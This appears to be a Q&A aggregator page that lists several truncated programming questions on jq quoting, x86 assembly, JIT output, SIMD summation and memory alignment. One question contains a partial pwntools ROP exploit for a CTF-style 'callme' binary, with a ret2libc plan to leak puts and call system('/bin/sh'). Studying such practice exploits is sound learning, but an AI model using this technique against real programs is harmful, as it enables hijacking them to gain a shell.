jq-1.6
Run Code Online (Sandbox Code Playgroud)
a='[{"a":"b"},{"c":"d c"}]'
b="d c"
echo $a|jq '.[]|select(.c == "'$b'")'
Run Code Online (Sandbox Code Playgroud)
{
"c": "d c"
}
Run Code Online (Sandbox Code Playgroud)
jq-1.5-1-a5b5cbe
Run Code Online (Sandbox Code Playgroud)
a='[{"a":"b"},{"c":"d c"}]'
b="d c"
echo $a|jq '.[]|select(.c == "'$b'")'
Run Code Online (Sandbox Code Playgroud)
jq: error: syntax error, unexpected $end, expecting QQSTRING_TEXT or QQSTRING_INTERP_START or QQSTRING_END (Unix shell quoting issues?) at <top-level>, line 1:
.[]|select(.c == "d
jq: 1 compile error
Run Code Online (Sandbox Code Playgroud)
如上,linux环境和macos环境下jq的select函数中的空格扩展是有区别的。我已经尝试在linux环境中下载jq-1.6,但它也产生了像上面的linux示例KO一样的问题。linux版本的jq还存在bug吗?有人能以另一种很好的方式来实现上述功能吗?我在 shell 中使用 jq 来解析数据库信息并获取指定内容...提前致谢!
我有以下Java代码(所有数组在我们调用“arrays”之前都已初始化,并且所有数组的大小均为“arraySize”)
int arraySize = 64;
float[] a;
float[] b;
float[] result;
public void arrays() {
for (int i = 0; i < arraySize; i++) {
result[i] = ((a[i] * b[i] + b[i] - b[i]) / b[i]) +
a[i] + a[i] + a[i] + a[i];
}
}
Run Code Online (Sandbox Code Playgroud)
JIT 的输出是:
# {method} {0x00000001034751a8} 'arrays' '()V' in 'main/ComplexExpression'
# [sp+0x30] (sp of caller)
[Entry Point]
0x000000010c4c55a0: mov 0x8(%rsi),%r10d
0x000000010c4c55a4: movabs $0x800000000,%r11
0x000000010c4c55ae: add %r11,%r10
0x000000010c4c55b1: cmp %r10,%rax
0x000000010c4c55b4: jne 0x000000010c44b780 ; {runtime_call ic_miss_stub} …Run Code Online (Sandbox Code Playgroud) 我是 x86 的新手,没有任何经验,所以这段代码对我来说看起来有点过时了。这样做有什么目的吗?
说明是:
rcx+000003F8 = 32 位浮点数
xmm0 = 0(全部 128 位)
movss xmm4,[rcx+000003F8]
unpcklps xmm4,xmm0
Run Code Online (Sandbox Code Playgroud)
“unpcklps xmm4,xmm0”会不会过时,因为它不会改变 xmm4 中的任何内容?
x86-32 架构确实有 8 x 32 位通用寄存器。它们是 EAX、EBX、ECX、EDX、ESI、EDI、ESP 和 EBP。
但为什么直到 x86-64 架构出现之后这个数字才翻倍呢?
如果你看看从 i386 到 Pentium 4 的 32 位 CPU 和软件世界,那么在 32 位时代,软件不再支持较旧的 32 位 CPU,因为使用了一些功能,只有较新的 32 位 CPU 才能使用这些功能。 CPU确实有。因此,问题是为什么不简单地提前增加通用寄存器的数量呢?
难道是因为Intel想要推动安腾架构,因此对x86架构的更多GPR不感兴趣?如果是这样,为什么 AMD 在 2003 年推出 AMD64 之前没有自己尝试呢?
在使用 .x86 程序集除以 0 时,出现 SIGFPE 异常idiv。我如何从汇编中禁用它?我需要系统调用还是可以直接在 x86 中完成?
再生产:
测试.asm
default rel
global WinMain
section .data
section .text
WinMain:
mov rcx, 0
mov rdx, 0
idiv rcx
Run Code Online (Sandbox Code Playgroud)
命令:
nasm -f win64 test.asm
gcc test.obj
gdb a
运行
我尝试了这段代码:
\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = context.binary = ELF(args.EXE or 'callme')\nlibc = elf.libc\nrop = ROP([elf, libc])\npop_rdi = p64(0x00000000004009a3)\nret = p64(0x00000000004006be)\n\ndef start(argv=[], *a, **kw):\n '''Start the exploit against the target.'''\n if args.GDB:\n return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)\n else:\n return process([elf.path] + argv, *a, **kw)\n\ngdbscript = '''\nbreak *pwnme+89\ncontinue\n'''.format(**locals())\n\noffset = b'A' * 40\n\n'''\n1. print a leak to the address in libc in puts()'s GOT\n2. grab that leak, calculate system and '/bin/sh'\n3. call it. GG\n'''\n\nrop.raw(offset)\nrop.call('puts', [elf.got['puts']])\nrop.call('main')\n\n\n\nio …Run Code Online (Sandbox Code Playgroud) 如何posix_memalign与对齐大小为4096个字节有所不同mmap?它是内部使用mmap还是其他机制?
我有一个外部功能:
extern "C" void calculateAreaUnderCurve_(double startPoint, double endPoint, int numberOfTrapezes, double* coefficients, double* result);
Run Code Online (Sandbox Code Playgroud)
我想在我的.asm文件中转换numberOfTrapezes为a double.
我试着用:vcvtsi2sd和cvtsi2sd,但它不工作.
编辑:
这是我的.asm文件
.model flat,c
.code
; Function declatation:
; int calculateAreaUnderCurve_(double startPoint, double endPoint,
; int numberOfTrapezes, double* coefficients, double* result);
calculateAreaUnderCurve_ proc
push ebp
mov ebp,esp
; Load argument values
vmovsd xmm1,real8 ptr [ebp+8] ;xmm1 = startPoint
vmovsd xmm2,real8 ptr [ebp+16] ;xmm2 = endPoint
mov ebx, [ebp+20] ;ebx = numberOfTrapezez int value
mov eax, [ebp+28] …Run Code Online (Sandbox Code Playgroud) 考虑数字的排序(升序)数组double。为了数值稳定,应该对数组求和,就好像从头到尾迭代一样,将总和累加到某个变量中。
如何使用AVX2有效地向量化?
我研究了此方法用AVX指令完成水平向量求和的最快方法,但是将其缩放为数组(可能需要一些分治法)似乎很棘手,同时通过确保小数来保持浮点精度在将它们添加到更大数量之前进行汇总。
澄清1:我认为应该可以将例如前4个项目相加,然后将它们添加到接下来4个项目的合计中,以此类推。但是我更喜欢一种不会完全破坏稳定性的方法。
澄清2:内存不应成为瓶颈,因为该阵列位于L3高速缓存中(但不应位于L1 / L2高速缓存中,因为该阵列的各个部分是从不同的线程填充的)。我不想求助于Kahan求和,因为我认为真正重要的是运算数量,而Kahan求和将使它增加约4倍。
我有以下C功能:
void function(int a) {
char buffer[1];
}
Run Code Online (Sandbox Code Playgroud)
它产生以下汇编代码(gcc,0优化,64位机器):
function:
pushq %rbp
movq %rsp, %rbp
movl %edi, -20(%rbp)
nop
popq %rbp
ret
Run Code Online (Sandbox Code Playgroud)
问题:
char buffer而不是char buffer[1]偏移是4个字节,但我希望看到8,因为机器是64位,我认为它将使用qword(64位).在此先感谢,如果问题重复,我很抱歉,我无法找到答案.